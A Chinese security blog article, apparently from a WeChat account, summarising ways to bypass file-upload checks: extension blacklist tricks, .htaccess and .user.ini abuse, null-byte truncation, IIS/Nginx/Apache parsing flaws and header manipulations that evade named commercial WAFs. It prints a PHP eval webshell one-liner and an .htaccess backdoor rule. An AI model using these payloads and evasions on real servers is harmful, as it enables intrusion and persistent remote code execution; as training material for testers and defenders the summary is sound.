由T00LS_mochou参考tools freebuf csdn 还有一些大佬的文章
做的一些总结,公众号进行整理,授权发布
一.漏洞产生原因
由于文件上传功能实现代码没有严格限制用户上传的文件后缀以及文件类型, 导致攻击者能够向某个可通过 Web 访问 的目录上传恶意文件,并被脚本解析器执行,这样就可以在远程服务器上执行恶意脚本 。
靶场: https://github.com/c0ny1/upload-labs
二.常见的文件检测方式以及绕过
1.前端JS检测:
绕过方式:
(1)在前端页面修改JS上传
(2)抓包工具拦截后修改后缀名上传
2.MIME检测:
对Content-Type进行了检测
绕过方式:
抓包工具拦截 修改Content-Type为合法上传文件类型 例如img/gif
3.文件后缀名黑名单检测:
绕过方式:
(1)使用其他可解析的后缀绕过
(2)利用windows特性绕过
(3)加空格绕过
当黑名单中限制上传.php后缀的文件时 我们可以上传test.php+空格 这时服务器获取到的后缀是.php+空格 不再黑名 单中 上传成功。由于windows文件系统的特性 在生成的test.php+空格=test.php
(4)加点绕过
当黑名单中限制上传.php后缀的文件时 我们可以上传test.php. 这时服务器获取到的后缀是空 不在黑名单中 上传成功 由于windows文件系统的特性 在生成的test.php.=test.php
(5)windows下::$DATA绕过
ADS是nfts磁盘格式的一个特性 由于NTFS交换数据流 在上传文件时 如果系统对请求正文的filename匹配不当的话可能会导致绕过
在php环境下可以上传test.php::$DATA
例:
(6)Linu下利用系统本身的命名规则绕过
linux命名规则:
1、文件名最大长度为255
2、全路径长度最大为4096(16级最大文件长度)
3、区分大小写
4、除“/”之外所有字符都可以使用
5、linux不以文件扩展名区分文件类型,对linux来说一切皆文件。
(7)后缀名双写绕过
123.pphphp->123.php
(8).htaccess绕过
.htaccess是apache服务器中的一个配置文件,它负责相关目录下的网页配置,通过htaccess文件 可以帮我们实现:网页 301重定向、自定义404错误页面、改变文件拓展名、允许/组织特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
上传覆盖.htaccess文件,重写解析规则,将上传的带有脚本马的图片以脚本方式解析。
格式说明:
AddHandler(空格) 文件MIME类型 (空格)文件格式(要带“.”,不含引号) AddType application/x-httpd-php .jpg
所有jpg文件以php解析,也可以用来留后门:
<FilesMatch "1"> SetHandler application/x-httpd-php </FilesMatch>
加入该php解析规则,所有文件名包含1的的文件都会以php执行。
(9).user.ini绕过:
漏洞利用:
前提是所上传文件夹下有正常的php文件
上传.user.ini文件, .user.ini内容:auto_prepend_fifile=01.gif ,上传马子 <?php @eval($_REQUEST[shell]); ?> ,后缀名改为01.gif 访问同目录下php文件,包含上传的马子进行解析 http://www.xxx.com/../../echo.php?shell=phpinfo();
漏洞原理: https://wooyun.js.org/drops/user.ini%E6%96%87%E4%BB%B6%E6%9E%84%E6%88%90%E7%9A%84PHP%E5%90%8E%E9%97%A8.html
(10)00截断绕过
Chr(charcode) 返回与指定的 ASCII 字符代码相对应的字符 从 0 到 31 的数字表示标准的不可打印的 ASCII 代码 通过查ASCII码表知 0 = NULL(空) chr(0)表示字符串结束 00截断常见的有%00、0×00等,他们都是表示ascii字符表中的保留字符chr(0)。不管表示编码方式有啥区别,只要能让服务器正确解析为chr(0)就行。00截断的原理:chr(0)表示结束。限制条件:小于php5.3.4 小于jdk1.7.0_40 未过滤chr(0),例如magic_quoes_gpc为offff
0X00绕过:
在上传的时候,当文件系统读到【0x00】时,会认为文件已经结束。利用00截断就是利用程序员在写程序时对文件的上 传路径过滤不严格,产生0x00上传截断漏洞。
利用方式:
这里在php的后面添加了一个空格和字母a,其实写什么都可以,只是一般空格的16进制为0x20,比较好记,加个a好找到空格的位置,如果写个任意字符,再去查 他的16进制表示也可以。然后打开hex,修改16进制内容:
修改完后文本变化:
%00截断:
php版本小于5.3.42.
php的magic_quotes_gpc为OFF状态,当程序在输出含有 chr(0)变量时 chr(0)后面的数据会被停止,误把它当成结束符,后面的数据直接忽略,这就导致漏洞产生
利用方式:../../1.php%00.jpg
使用POST方式提交的时候 需要对%00进行URL编码
这里对%00进行了url编码
4.图片二次渲染及文件类型验证
(1)图片渲染绕过:
图片每隔几行插上一些内容,上传下载后对比,若部分渲染,则可在可插入部分上传图片马
关于怎么制作过二次渲染的图片马,此处参考
https://xz.aliyun.com/t/2657
https://secgeek.net/bookfresh-vulnerability/
或者,直接用别人做好的图片马
https://github.com/Yang1k/upload-labs-Pass16
(2)文件头伪造绕过:
可以修改文件头的十六进制,比如说png格式的图片的十六进制前8位是8950 4e47
其他格式同理
(5)IIS解析漏洞
(1)IIS6.0
IIS6.0在解析asp格式的时候有两个解析漏洞,一个是如果目录名包含".asp"字符串, 那么这个目录下所有的文件都会按照 asp去解析,另一个是只要文件名中含有".asp;" 会优先按asp来解析
1. 上传shell.txt 访问../../1.asp/shell.txt
2. 上传test.asp;.jpg 访问
(2)IIS7.0/7.5
IIS7.0/7.5是对php解析时有一个类似于Nginx的解析漏洞,对任意文件名只要在URL 后面追加上字符串"/任意文件 名.php"就会按照php的方式去解析。
利用方式:上传shell.jpg 访问shell.jpg/xx.php
(6)Nginx解析漏洞
解析:(任意文件名)/(任意文件名).php | (任意文件名)%00.php 描述:目前Nginx主要有这两种漏洞,一个是对任意文件 名,在后面添加/任意文件名.php 的解析漏洞,比如原本文件名是test.jpg,可以添加为test.jpg/x.php进行解析攻击。还有 一种是对低版本的Nginx可以在任意文件名后面添加%00.php进行解析攻击。此解析漏洞其实是php的配置错误导致。
php为了支持path info模式创造了fifix_pathinfo这个选项,当它被打开时,fpm(FastCGI 进程管理器(FPM) https://www.php.net/install.fpm)就会判断请求的文件是否存在,如果不存在就去掉最后一个开始的内容,再次 查看文件是否存在,不存在再去掉从开的内容,循环往复。所以当请求 http://192.168.1.100/admin/upload/shell.jpg/.php这么个文件时,fpm会把/.php去掉把shell.jpg当作php执行。后来出现了seccurity.limit_extensions选项,这个选项默认配置.php文件才能被fpm执行。
利用条件:
1、fast-cgi模式运行 (通用网关接口,它是一段程序,运行在服务器上,提供同客户端HTML页面的接口,通俗的讲CGI就像是一座桥,把网页 和WEB服务器中的执行程序连接起来,它把HTML接收的指令传递给服务器,再把服务器执行的结果返还给HTML页;用 CGI可以实现处理表格,数据库查询,发送电子邮件等许多操作,最常见的CGI程序就是计数器。CGI使网页变得不是静态 的,而是交互式的。)
2、Fix_pathinfo为1 (默认为1)
3.seccurity.limit_extensions选项允许。(默认只解析.php)需要修改www.conf((/etc/php-fpm.d/www.conf))
(1)上传test.jpg 访问test.jpg/.php
(2)上传test.jpg 访问test.jpg%00.php
(7)Apache解析漏洞
首先,对于Apache服务器来说,哪些后缀可以被解析是由什么决定呢?
apache中有一个关于php的默认配置文件(http.conf),其中用正则指定了哪些后缀使用哪些解析器。如图:
apache解析又一个特点,解析文件时是从右往左判断,遇到不认识的后缀时,就跳过,于是就有了类似于“.php.123”这 种绕过方式。
但是从上图可以看到,这种方式在这种配置情况下是行不通的,但是在“CVE‐2017‐15715”中提到了可以使用%0a绕过, 因为在上面正则中“.php$”代表以“.php”结尾或者“以.php”结尾加换行,可是一般情况下程序员获取文件后缀时会 使用“$_FILES[‘fifile’][‘name’]”,它会自动过滤掉换行,这就让这个漏洞显得有些尴尬了。
大多情况下,我们遇到apache解析漏洞的是配置错误导致的,比如下面这条语句。
这种情况下,只要文件后缀包含“php”关键字,文件就会被作为php来解析。
利用方式:
1. 一个文件名为test.x1.x2.x3的文件,apache会从x3的位置开始尝试解析,如果x3不属于apache能够解析的扩展名,那么 apache会尝试去解析x2,直到能够解析到能够解析的为止,否则就会报错。
test.php.hack->test.php 自右向左解析
2. CVE-2017-15715,httpd 解析漏洞 上传一个文件名最后带有换行符(只能是x0A,如上传a.php,然后在burp中修改文件名为a.phpx0A),以此来绕过一些黑 名单过滤。
上传111.php->hex模式下添加x0A
访问主机111.php%0a,解析成功
(8)对WAF的一些绕过姿势
(1)安全狗绕过
绕过思路:
对文件的内容,数据。数据包进行处理。Content-Disposition: form-data; name="file"; filename="ian.php" 将form-data; 修改为~form‐data;
通过替换大小写来进行绕过:
Content-Disposition: form-data; name="file"; filename="yjh.php" Content-Type: application/octet-stream 将Content-Disposition 修改为content‐DisposiƟon 将 form‐data 修改为Form‐data 将 Content‐Type 修改为content‐Type
通过删减空格来进行绕过:
Content-Disposition: form-data; name="file"; filename="yjh.php"
Content-Type: application/octet-stream
将Content-Disposition: form-data 冒号后面 增加或减少一个空格 将form‐data; name="fifile"; 分号后面增加或减少一个空格
将 Content-Type: application/octet-stream 冒号后面增加一个空格
通过字符串拼接绕过:
Content-Disposition: form-data; name="file"; filename="yjh3.php"
将 form-data 修改为 f+orm‐data
将 from‐data 修改为 form‐d+ata
双文件上传绕过:
<form action="https://www.xxx.com/xxx.asp(php)" method="post" name="form1" enctype="multipart/form‐ data"> <input name="FileName1" type="FILE" size="40"> <input name="FileName2" type="FILE" class="tx1" size="40"> <input type="submit" name="Submit" value="上传"> </form>
HTTP header 属性值绕过:
Content-Disposition: form-data; name="file"; filename="yjh.php"
我们通过替换form‐data 为*来绕过
Content‐ DisposiƟon: *; name="fifile"; fifilename="yjh.php"
HTTP header 属性名称绕过:
源代码:
Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png
绕过内容如下:
Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png C.php"
删除掉ontent-Type: image/jpeg只留下c,将.php加c后面即可,但是要注意,双引号要跟着c.php".
等效替换绕过:
原内容:
Content-Type: multipart/form-data; boundary=---------------------------471463142114
修改后:
Content‐Type: mulƟpart/form‐data; boundary =‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐471463142114 boundary后面加入空格。
修改编码绕过 使用UTF-16、Unicode、双URL编码等等
(2)WTS-WAF 绕过上传
原内容:
Content-Disposition: form-data; name="up_picture"; filename="xss.php" 添加回车
(3)百度云上传绕过
百度云绕过就简单的很多很多,在对文件名大小写上面没有检测php是过了的,Php就能过,或者PHP,一句话自己合成 图片马用Xise连接即可。
Content-Disposition: form-data; name="up_picture"; filename="xss.jpg .Php"
(4)阿里云上传绕过
源代码:
Content-Disposition: form-data; name="img_crop_file"; filename="1.jpg .Php"Content-Type: image/jpeg
修改如下:
Content-Disposition: form-data; name="img_crop_file"; filename="1.php"
没错,将=号这里回车删除掉Content‐Type: image/jpeg即可绕过。
(5)360主机上传绕过
源代码:
Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"Content- Type: image/png
绕过内容如下:
Content- Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png Content-Disposition 修改为 Content‐空格DisposiƟon
(6)CONTENT-LENGTH绕过
针对这种类型的验证,我们可以通过上传一些非常短的恶意代码来绕过。上传文件的大小取决于,Web服务器上的最大 长度限制。我们可以使用不同大小的文件来fuzzing上传程序,从而计算出它的限制范围。
(7)文件内容检测绕过
针对文件内容检测的绕过,一般有两种方式:
1.制作图片马
2.文件幻术头绕过,垃圾数据填充绕过,修改HTTP请求,再之中加入大量垃圾数据。
觉得有用的可以在右下角点个“在看”
本文始发于微信公众号(台下言书):关于文件上传漏洞绕过的总结
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论